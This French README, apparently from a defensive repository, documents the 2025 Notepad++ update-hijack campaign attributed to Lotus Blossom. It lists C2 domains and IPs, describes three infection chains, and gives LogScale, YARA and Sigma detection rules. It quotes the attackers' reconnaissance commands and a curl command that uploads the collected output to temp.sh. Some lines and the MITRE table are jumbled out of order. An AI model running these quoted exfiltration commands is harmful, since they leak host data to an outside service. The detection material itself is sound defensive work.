
Indicateurs de compromission et règles de détection pour l'attaque de la chaîne d'approvisionnement de Notepad++ (CVE-2025-15556) — Lotus Blossom APT, juin–décembre 2025. Comprend des requêtes Falcon LogScale, des règles YARA/Sigma et la cartographie MITRE ATT&CK.
CVE-2025-15556 | Lotus Blossom / Raspberry Typhoon | Juin – Décembre 2025
Ce dépôt contient une collection complète et consolidée d'indicateurs de compromission (IoC) liée à l'attaque sur la chaîne d'approvisionnement de Notepad++ divulguée le 2 février 2026.
Entre juin et décembre 2025, un acteur malveillant parrainé par l'État chinois a compromis l'infrastructure d'hébergement de Notepad++, détournant le mécanisme de mise à jour intégré (WinGUp) pour distribuer sélectivement des installateurs trojanisés à des utilisateurs ciblés. L'attaque a exploité l'absence de vérification cryptographique dans le programme de mise à jour (avant la v8.8.9), permettant la distribution de portes dérobées personnalisées, de Cobalt Strike Beacons et de charges utiles Metasploit.
| CVE | CVE-2025-15556 — Téléchargement de code sans vérification d'intégrité |
| Acteur malveillant | Lotus Blossom (Bilbug, Raspberry Typhoon, Thrip) / Zirconium (Violet Typhoon) |
| Période active | Juin 2025 – 2 décembre 2025 |
| Vecteur d'attaque | Compromission de la chaîne d'approvisionnement via le mécanisme de mise à jour automatique WinGUp |
| Cibles | Gouvernement, télécommunications, services financiers, fournisseurs informatiques (Philippines, Vietnam, Salvador, Australie, Asie de l'Est) |
| Logiciels malveillants | Porte dérobée Chrysalis (personnalisée), Cobalt Strike Beacon, Metasploit Meterpreter |
| Corrigé dans | Notepad++ v8.8.9+ (vérification de certificat) / v8.9.1+ (validation XMLDSig) |
Kaspersky GReAT a identifié trois chaînes d'infection distinctes, changées environ mensuellement pour échapper à la détection :
GUP.exe → update.exe (NSIS) → ProShow.exe (légitime) → exploitation via fichier "load"
→ téléchargeur Metasploit → Cobalt Strike Beacon
whoami && tasklist → exfiltrée via temp.sh%appdata%\ProShow\GUP.exe → update.exe (NSIS) → script.exe (interpréteur Lua) → alien.ini (Lua compilé)
→ shellcode via EnumWindowStationsW → téléchargeur Metasploit → Cobalt Strike Beacon
whoami && tasklist && systeminfo && netstat -ano%appdata%\Adobe\Scripts\GUP.exe → update.exe (NSIS) → BluetoothService.exe (légitime) → log.dll (sideloadé)
→ déchiffre le shellcode "BluetoothService" → porte dérobée Chrysalis
%appdata%\Bluetooth\C:\ProgramData\USOShared\ ┌─────────────────────────────────────────────────────────┐
│ CHRONOLOGIE DE LA COMPROMISSION │
├─────────┬─────────┬─────────┬─────────┬─────────┬──────┤
│ Juil25 │ Août25 │ Sept25 │ Oct25 │ Nov25 │Déc25 │
├─────────┴─────────┴─────────┴─────────┴─────────┴──────┤
Chaîne 1 (ProShow) │████████████████████ │
Chaîne 2 (Lua) │ █████████████████████████████ │
Chaîne 3 (DLL SL) │ ██████████████ │
Accès infra │████████████████████████████████████████████████████████│
└────────────────────────────────────────────────────────┘
| Fichier | Description |
|---|---|
notepadpp_supply_chain_iocs.csv | Jeu de données complet des IoC (105 indicateurs) avec cartographie MITRE ATT&CK |
| Colonne | Description |
|---|---|
ioc_type | Type : ip, domain, url, sha1, sha256, filepath, filename, useragent, behavior, cve, attribution, compromise_window |
ioc_value | La valeur de l'indicateur |
chain | Chaîne d'infection (1, 2, 3, 1/2, 2/3, all, n/a) |
context | Description de ce que représente l'IoC |
source | Source de renseignement (Kaspersky, Rapid7, CrowdStrike, Tenable, Kevin Beaumont) |
risk | Sévérité (CRITICAL, HIGH, MEDIUM, LOW, INFO) |
mitre_technique | Identifiant de technique MITRE ATT&CK |
Comportementaux — indépendants des IoC, valeur la plus élevée :
gup.exe générant tout processus enfant autre qu'un installateur légitime signé de Notepad++gup.exe se connectant à des domaines/IP autres que notepad-plus-plus.org, github.com, release-assets.githubusercontent.com%appdata%\ProShow\, %appdata%\Adobe\Scripts\, %appdata%\Bluetooth\%localappdata%\Temp\ns.tmp\ (runtime NSIS — présent dans toutes les chaînes)Réseau — haute confiance :
cdncheck.it.com, safe-dns.it.com, self-dns.it.com, api.skycloudcenter.com, api.wiresguard.comtemp.sh (51.91.79.17) — particulièrement avec téléchargement de fichier via curltemp.sh intégrées dans l'en-tête User-Agent45.76.155.202, 45.32.144.255, 95.179.213.0, 45.77.31.210Commandes de reconnaissance (post-exploitation) :
cmd /c whoami&&tasklist > 1.txt
cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt
curl -F "[email protected]" -s https://temp.sh/upload
#event_simpleName=ProcessRollup2 event_platform=Win ParentBaseFileName="gup.exe"
| FilePath=/\\Device\\HarddiskVolume\d+(?<shortFilePath>.+$)/
| groupBy([FileName, SHA256HashData, shortFilePath, CommandLine])
#event_simpleName=/(ProcessRollup2|NetworkConnectIP4|DnsRequest)/ event_platform=Win
| case {
// IP malveillantes
RemoteAddressIP4=/(95\.179\.213\.0|61\.4\.102\.97|59\.110\.7\.32|124\.222\.137\.114|45\.76\.155\.202|45\.32\.144\.255|45\.77\.31\.210)/
| iocType := "IP malveillante" | iocValue := RemoteAddressIP4 | riskScore := "HIGH";
// Domaines malveillants
DomainName=/(api\.skycloudcenter\.com|api\.wiresguard\.com|cdncheck\.it\.com|safe-dns\.it\.com|self-dns\.it\.com|temp\.sh)/i
| iocType := "Domaine malveillant" | iocValue := DomainName | riskScore := "HIGH";
// Noms de fichiers suspects
ImageFileName=/\\(BluetoothService|admin|system|loader1|loader2|s047t5g|ConsoleApplication2|3yzr31vk|uffhxpSy)\.exe$/i
| iocType := "Nom de fichier suspect" | iocValue := ImageFileName | riskScore := "MEDIUM";
// DLL suspectes
ImageFileName=/\\(log\.dll|libtcc\.dll)$/i
| iocType := "DLL suspecte" | iocValue := ImageFileName | riskScore := "MEDIUM";
// Artefacts spécifiques aux chaînes
ImageFileName=/\\(alien\.ini|load)$/i
| iocType := "Artefact de chaîne" | iocValue := ImageFileName | riskScore := "HIGH";
* | iocType := null;
}
| iocType=*
| ImageFileName=/\\(?<FileName>[^\\]+)$/
| table([riskScore, iocType, iocValue, @timestamp, aid, ComputerName, FileName, ImageFileName, CommandLine, SHA256HashData, RemoteAddressIP4, DomainName], limit=5000)
#event_simpleName=DirectoryCreate event_platform=Win
| FilePath=/\\ns\.tmp$/i
| FilePath=/\\Temp\\ns\.tmp$/i
| groupBy([aid, ComputerName, FilePath, ContextTimeStamp], limit=5000)
rule Notepadpp_SupplyChain_MaliciousUpdater {
meta:
description = "Détecte les installateurs NSIS malveillants de l'attaque sur la chaîne d'approvisionnement de Notepad++"
author = "Renato Z3r0 ed i miei sorcini"
date = "2026-02"
reference = "https://securelist.com/notepad-supply-chain-attack/118708/"
tlp = "WHITE"
strings:
$nsis = "Nullsoft.NSIS" ascii
$recon1 = "whoami" ascii nocase
$recon2 = "tasklist" ascii nocase
$recon3 = "systeminfo" ascii nocase
$recon4 = "netstat -ano" ascii nocase
$exfil = "temp.sh/upload" ascii nocase
$curl = "curl" ascii nocase
$dir1 = "\\ProShow\\" ascii nocase
$dir2 = "\\Adobe\\Scripts\\" ascii nocase
$dir3 = "\\Bluetooth\\" ascii nocase
condition:
uint16(0) == 0x5A4D and
$nsis and
(2 of ($recon*) or $exfil or ($curl and 1 of ($recon*))) and
1 of ($dir*)
}
title: Notepad++ GUP.exe processus enfant suspect
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Détecte GUP.exe (programme de mise à jour de Notepad++) générant des processus enfants suspects indiquant une compromission de la chaîne d'approvisionnement
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
- https://securelist.com/notepad-supply-chain-attack/118708/
- https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/
tags:
- attack.initial_access
- attack.t1195.002
- cve.2025.15556
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith: '\gup.exe'
filter_legitimate:
Image|endswith:
- '\npp.Installer.x64.exe'
- '\npp.Installer.exe'
condition: selection_parent and not filter_legitimate
falsepositives:
- Installateurs Notepad++ légitimes avec des noms non standard
level: high
title: Exfiltration de données de reconnaissance via temp.sh
id: b2c3d4e5-f6a7-8901-bcde-f12345678901
status: experimental
description: Détecte une reconnaissance système suivie d'un téléchargement de données vers temp.sh, comme observé dans l'attaque sur la chaîne d'approvisionnement de Notepad++
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
- https://securelist.com/notepad-supply-chain-attack/118708/
tags:
- attack.exfiltration
- attack.t1567
- attack.discovery
- attack.t1082
logsource:
category: process_creation
product: windows
detection:
selection_curl:
CommandLine|contains:
- 'temp.sh/upload'
- 'temp.sh'
Image|endswith: '\curl.exe'
condition: selection_curl
falsepositives:
- Utilisation légitime du service de partage de fichiers temp.sh (rare dans les environnements d'entreprise)
level: high
title: Résolution de domaine C2 de la chaîne d'approvisionnement Notepad++
id: c3d4e5f6-a7b8-9012-cdef-123456789012
status: experimental
description: Détecte la résolution DNS de domaines C2 associés à l'attaque sur la chaîne d'approvisionnement de Notepad++
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
- https://securelist.com/notepad-supply-chain-attack/118708/
- https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/
tags:
- attack.command_and_control
- attack.t1071.001
logsource:
category: dns_query
product: windows
detection:
selection:
QueryName|endswith:
- 'cdncheck.it.com'
- 'safe-dns.it.com'
- 'self-dns.it.com'
- 'api.skycloudcenter.com'
- 'api.wiresguard.com'
condition: selection
falsepositives:
- Très peu probable dans les environnements d'entreprise
level: critical
| Tactic | Technique | ID | Utilisation dans cette campagne |
|---|---|---|---|
| Accès initial | Compromission de la chaîne d'approvisionnement : Compromission de la chaîne d'approvisionnement logicielle | T1195.002 | Détournement du mécanisme de mise à jour WinGUp |
| Exécution | Interpréteur de commandes et de scripts : Interpréteur de commandes Windows | T1059.003 | Reconnaissance via cmd.exe |
| Exécution | Interpréteur de commandes et de scripts : Python/Lua | T1059.006 | Chaîne n°2 interpréteur Lua |
| Exécution | Exploitation pour exécution côté client | T1203 | Chaîne n°1 vulnérabilité ProShow |
| Exécution | API native | T1106 | EnumWindowStationsW pour exécution de shellcode |
| Persistance | Détournement du flux d'exécution : DLL Side-Loading | T1574.002 | Chaîne n°3 sideloading de log.dll |
| Contournement des défenses | Fichiers ou informations obscurs | T1027 | Shellcode chiffré, clé XOR "CRAZY" |
| Contournement des défenses | Masquage : Correspondance de nom légitime | T1036.005 | BluetoothService.exe, update.exe, AutoUpdater.exe |
| Découverte | Découverte des informations système | T1082 | whoami, systeminfo, tasklist, netstat |
| Collecte | Mise en scène des données : Mise en scène locale des données | T1074.001 | Sortie de la reconnaissance enregistrée dans des fichiers .txt |
| Commande et contrôle | Protocole de couche application : Protocoles web |
| Source | Lien |
|---|---|
| Kaspersky GReAT — Chaînes d'exécution inaperçues et nouveaux IoC | securelist.com |
| Rapid7 — Porte dérobée Chrysalis : Plongée dans la boîte à outils de Lotus Blossom | rapid7.com |
| Notepad++ Communication officielle — Mise à jour des informations sur l'incident de détournement | notepad-plus-plus.org |
| Kevin Beaumont — Divulgation et attribution initiales | DoublePulsar |
| Tenable — FAQ sur la compromission de la chaîne d'approvisionnement de Notepad++ | tenable.com |
| Orca Security — Analyse du détournement de mise à jour et remédiation | orca.security |
| CSO Online — APT chinois, attaque sophistiquée sur la chaîne d'approvisionnement | csoonline.com |
gup.exe entre juin et décembre 2025%appdata%\ProShow\, %appdata%\Adobe\Scripts\, %appdata%\Bluetooth\)| Date | Changement |
|---|---|
| 2026-02-09 | Version initiale — 105 IoC consolidés provenant de Kaspersky, Rapid7, CrowdStrike, Tenable |
Ce dépôt est fourni sous Licence MIT. Les IoC sont agrégés à partir de sources publiques à des fins défensives uniquement.
Les contributions sont les bienvenues. Si vous avez des IoC supplémentaires, des règles de détection ou des corrections :
Avertissement : Ce dépôt est destiné uniquement à des fins défensives en cybersécurité. Les IoC et les règles de détection sont fournis en l'état pour aider les organisations à évaluer leur exposition à cette compromission de la chaîne d'approvisionnement.
| C2 HTTPS via Cobalt Strike, Chrysalis |
| Commande et contrôle | Canal chiffré | T1573 | Configuration chiffrée du Beacon CS |
| Commande et contrôle | Transfert d'outil entrant | T1105 | Téléchargeur Metasploot récupérant le Beacon CS |
| Exfiltration | Exfiltration via service web | T1567 | Téléchargement vers temp.sh |